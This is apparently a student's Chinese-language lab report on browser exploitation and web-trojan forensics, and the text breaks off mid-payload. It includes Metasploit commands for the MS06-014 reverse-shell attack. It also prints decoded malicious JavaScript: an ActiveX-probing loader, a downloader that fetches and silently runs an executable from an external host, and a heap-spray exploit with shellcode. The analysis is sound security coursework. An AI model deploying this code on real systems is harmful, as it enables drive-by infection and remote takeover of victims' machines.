20253915 2024-2025-2 《网络攻防实践》实践11报告

1.实践内容

1.1 基于 Metasploit 的浏览器渗透攻击(MS06-014 漏洞)

  • 模块调用:在 Metasploit 中搜索并加载MS06-014 IE CreateObject 漏洞模块(exploit/windows/browser/ie_createobject);
  • 载荷配置:选择windows/shell/reverse_tcp 反向 Shell 载荷,设置 LHOST 为攻击机 IP、LPORT 为监听端口;
  • 木马构造:执行 exploit 命令生成恶意 URL,搭建临时 Web 服务提供恶意网页访问;
  • 渗透实施:靶机 IE 访问恶意 URL,触发漏洞后攻击机获取远程命令行会话,执行 net user、ipconfig 等系统命令。

1.2 网页木马取证分析实践

  • 分层加载分析:拆解 start.html→new09.htm→kl.htm 的恶意网页分层加载链,识别隐藏 iframe 与外部脚本加载特征;
  • 代码解密:对 Base64+XXTEA 组合混淆的恶意脚本进行解密,还原漏洞探测与载荷加载逻辑;
  • 漏洞利用链提取:识别 ADODB.Stream、暴风影音、PPS、百度工具栏四类 ActiveX 漏洞利用路径;
  • 样本分析:对下载的恶意 EXE 进行 MD5 哈希校验,确认多路径投递的为同一木马样本;通过脱壳、IDA 静态分析,识别样本下载器、持久化、进程注入、篡改系统时间等恶意行为。

1.3 浏览器渗透攻防对抗实践

  • 攻击端:独立验证MS06-055 VML 漏洞与MS06-014 ActiveX 漏洞,将两个漏洞 URL 转为十六进制并封装进混淆 HTML 页面,通过 Apache 部署统一挂马入口;
  • 防守端:提取恶意链接源码,逆向解混淆还原真实漏洞 URL;分析漏洞页面特征,识别两个漏洞的 CVE 编号、影响组件、触发原理与利用方式;
  • 攻防验证:靶机访问混淆挂马页面,触发双漏洞并建立远程会话,完成攻击与防御的全流程对抗。

2.实践过程

2.1 web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
1、实验环境
① 攻击机:kali IP地址为192.168.199.130,如下图所示:
image
② 靶机:windows xp professional IP地址为192.168.199.6;同时在属性修改主机名为fxf,利用prompt fxf$g显示
image
③ 攻击机和靶机均设置在桥接模式下,测试两者的连通性如下图所示:
image

2、实验步骤:
① 选择使用Metasploit中的MS06-014渗透攻击模块
具体的攻击过程如下:
首先在kali虚拟机上打开终端,进入root模式,并且打开msfconsole,如下图所示:
image

搜索MS06-014渗透攻击模块并使用:

搜索MS06-014相关模块
search MS06-014
选择MS06-014攻击模块
use exploit/windows/browser/ie_createobject

image

② 选择PAYLOAD为任意远程Shell连接
选择一个Payload:

查看当前模块可用的Payload列表
show payloads

image
image

设置Payload为反向Shell连接
set payload windows/shell/reverse_tcp

image

③ 设置服务器地址和 URL 参数,运行 exploit,构造出恶意网页木马脚本
这里选择windows/shell/reverse_tcp作为远程Shell连接
配置关键参数::

设置攻击机IP地址(Kali的IP)
set LHOST 192.168.199.130
设置靶机IP地址(Windows的IP)
set RHOST 192.168.199.6
查看配置是否完整
show options

image

攻击机地址设置为LHOST,靶机地址设置为RHOST。show options 命令可以用来确认所有必需的参数都已正确设置
生成并执行攻击:准备好之后使用命令run发动本次攻击:

运行exploit,开始监听并生成恶意URL
exploit

image
命令执行成功后,Metasploit会生成一个恶意的URL:http://192.168.199.130:8080/cLI6Ju7sC

④ 在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本 URL
在Windows靶机的Internet Explorer浏览器的地址栏中,手动输入上一步生成的恶意URL,然后按回车键访问
image

⑤ 在攻击机的 Metasploit 软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话 SESSION,在靶机上远程执行命令
获取控制权:
确认会话建立:当靶机访问该URL后,Kali的msfconsole界面中会显示 Command shell session 1 opened 的提示。
image

交互会话:在msfconsole中输入 sessions -i 1 并按回车,进入会话。
image

执行控制命令:现在你可以输入Windows命令来控制靶机了

查看靶机上的用户列表
net user
查看靶机IP配置
ipconfig
进入靶机C盘
cd C:

image

2.2 取证分析实践—网页木马攻击场景分析

实践过程:

2.2.1 首先你应该访问start.html,在这个文件中给出了new09.htm的地址

image
可以发现new09.htm与start.html文件在同一个目录下
由于本地获得的是单独下载的文件,而不是完整 Web 站点目录,无法直接通过原始目录下载 new09.htm。后续结合wp文件(学习通中)补全 new09.htm 的实际内容。该文件内容较短,核心是两条外部资源加载语句。

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>

可以判断,new09.htm 并不直接包含完整漏洞利用代码,而是通过隐藏 iframe 加载 kl.htm,并通过 script 标签加载 1299644.js。这符合网页木马常见的分层加载方式。

2.2.2 在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

① http://aa.18dd.net/aa/kl.htm
image
查询结果:
md5(http://aa.18dd.net/aa/kl.htm) = 7f60672dcd6b5e90b6772545ee219bd3

② http://js.users.51.la/1299644.js
image
查询结果:
md5(http://js.users.51.la/1299644.js) = 23180a42a2ff1192150231b44ffdf3d3

③ 按照http://192.168.68.253/scom/hashed/+散列值的方式分别下载这两个文件,
即:
http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3
image

④ 下载好之后,分别打开两个文件,如下图所示:
image
image
image
其中一个文件内容较直观,另一个文件中包含大量混淆代码。通过观察函数名和代码结构,可判断该脚本使用 Base64 与 XXTEA 组合对主要内容进行了隐藏。

2.2.3 如果解密出的地址给出的是网页或脚本文件,请继续解密。

① 上图t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
即为加密密钥,将该加密密钥在下图中所示网站进行转换得:
image
即结果为script;

② 知道了加密密钥,那我们就将上述文件进行解密,解密流程可整理为:
Base64 解码 → XXTEA 解密,密钥为 script → JavaScript 字符串转义还原
image

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

③ 解密结果即
image

点击查看代码
<script>
eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")
</script>

使用 CyberChef 进行解码时,先对密文执行 Base64 解码,再使用 XXTEA 解密并填入密钥 script,最后对输出中的 JavaScript 转义字符串进行还原。解密结果显示,该脚本是一个 恶意漏洞探测与利用加载器,通过检测用户浏览器中可用的 ActiveX 控件,动态选择相应的漏洞利用脚本或载荷,最终下载并执行相同的木马程序。

④ 行为分析
优先级漏洞利用链
a.首选:尝试创建 ADODB.Stream 对象(通过 object 标签 + CLSID BD96C556-65A3-11D0-983A-00C04FC29E36)。

  • 成功 → 加载 http://aa.18dd.net/aa/1.js(该脚本下载 014.exe 并执行)。
  • 失败 → 进入备用方案。
    b.备用方案(依次尝试以下控件,哪个可用就触发对应攻击):
  • MPS.StormPlayer(暴风影音控件)→ 加载 b.js(利用堆喷射下载 bf.exe)。
  • POWERPLAYER.PowerPlayerCtrl.1(PPS 控件)→ 加载 pps.js(针对 PPS 漏洞下载 pps.exe)。
  • BaiduBar.Tool(百度工具栏)→ 直接调用 DloadDS 方法下载 bd.cab,解压得到 bd.exe。
    从或漏洞探测页面中提取到四个二阶段恶意脚本文件:1.js、b.js、pps.js 以及 bd.cab。

2.2.4 如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

通过对这四个文件进行静态分析和动态行为模拟,分别解析出它们各自携带的远程下载地址:

image
md5(http://aa.18dd.net/aa/b.js) = 3870c28cc279d457746b3796a262f166

image
md5(http://aa.18dd.net/aa/pps.js) = 5f0b8bf0385314dbe0e5ec95e6abedc2

image
md5(http://down.18dd.net/bb/bd.cab) = 1c1d7b3539a617517c49eee4120783b2

序号 URL 用途判断 URL 字符串 MD5 对应分析
1 http://aa.18dd.net/aa/1.js ADODB.Stream / ActiveX 相关二阶段脚本 5d7e9058a857aa2abee820d5473c5fa4 下载 014.exe 并保存执行
2 http://aa.18dd.net/aa/b.js StormPlayer 控件相关二阶段脚本 3870c28cc279d457746b3796a262f166 使用 shellcode、heap spray,并提取到 bf.exe
3 http://aa.18dd.net/aa/pps.js PPS / PowerPlayer 控件相关二阶段脚本 5f0b8bf0385314dbe0e5ec95e6abedc2 针对 PPS ActiveX 控件进行漏洞触发,并提取到 pps.exe
4 http://down.18dd.net/bb/bd.cab BaiduBar.Tool 控件调用下载的 CAB / EXE 载荷 1c1d7b3539a617517c49eee4120783b2 解压后得到 bd.exe

② 得到散列值后分析文件:
1)首先是1.js
image

eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")

image
最终结果得:

点击查看代码
var url = 'http://down.18dd.net/bb/014.exe';
try {
    var xml = ado.CreateObject('Microsoft.XMLHTTP', '');
    xml.Open('GET', url, 0);
    xml.Send();
    as.type = 1;
    as.open();
    as.write(xml.responseBody);
    path = '..\\ntuser.com';
    as.savetofile(path, 2);
    as.close();
    var shell = ado.createobject('Shell.Application', '');
    shell.ShellExecute('cmd.exe', '/c ' + path, '', 'open', 0);
} catch (e) {
}

这段 JavaScript 代码实现了一个 文件下载器 + 执行器 的功能,通常出现在恶意脚本(如漏洞利用后的 payload)中。
var url = 'http://down.18dd.net/bb/014.exe';定义远程可执行文件的 URL(一个名为 014.exe 的程序)
该脚本利用 Microsoft.XMLHTTP 对象从远程服务器( http://down.18dd.net/bb/014.exe )同步下载一个可执行文件,将其保存至本地 ..\ntuser.com,随后通过 Shell.Application 对象静默执行 cmd.exe /c ..\ntuser.com,从而在受害者主机上运行恶意程序。

2)其次是文件b.js:
image
即:
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))
利用在线解包工具解密:
image
最终得到:

点击查看代码
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000');
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
	bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
	block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++)
	memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068)
	buffer += '\n\n\n\n';
storm.rawParse(buffer);

image
这段代码是一个 利用 IE 浏览器漏洞(CVE-2012-4969 或类似)的堆喷射(Heap Spray)攻击脚本,最终目标是执行 shellcode 下载并运行恶意程序。
① 堆喷射构造

  • bigblock 初始化为 %u9090%u9090(即 0x9090 两个字节,相当于 NOP 滑梯)。
  • 设置 headersize = 20,slackspace = headersize + shellcode.length。
  • 通过循环扩展 bigblock 直到长度不小于 slackspace。
  • 取 fillblock = bigblock.substring(0, slackspace) 作为填充块。
  • 接着构造一个大块 block,其长度为 bigblock.length - slackspace。
  • 然后循环扩展 block,每次追加 block + fillblock,直到总长度 block.length + slackspace 达到或超过 262144(即 0x40000 字节,常见堆喷射目标大小)。
  • 最终每个 memory[x] 中存储 block + shellcode,其中 shellcode 是实际要执行的恶意代码。

② Shellcode 功能
shellcode 由 unescape('%u...') 解码得到,其二进制指令执行以下操作:

  • 动态获取 API 地址:通过 PEB 遍历 kernel32.dll,获取 LoadLibraryA 和 GetProcAddress 等函数。
  • 下载文件:调用 URLDownloadToFileA 或类似函数从远程服务器下载可执行文件。
  • 执行下载的文件:调用 WinExec 或 ShellExecute 运行下载的程序。
    从 shellcode 末尾的 Unicode 字符串可以解码出 URL:
    %u6874%u7074%u3a2f%u2f64%u776f%u2e6e%u3831%u6464%u2e6e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
    解码后为:http://down.18dd.net/bb/bf.exe(部分版本可能是 014.exe)。
    ③ 漏洞触发方式
    最后一行 storm.rawParse(buffer); 表明攻击者针对的是一个名为 storm 的 ActiveX 控件(可能是暴风影音控件或其他第三方控件),调用其 rawParse 方法并传入一个超长字符串 buffer(4068 个换行符)。
    这会触发该控件中的缓冲区溢出漏洞,使程序执行流跳转到堆中预先布置的 NOP 滑梯,最终执行 shellcode。

3)再次是文件pps.js:
image

eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\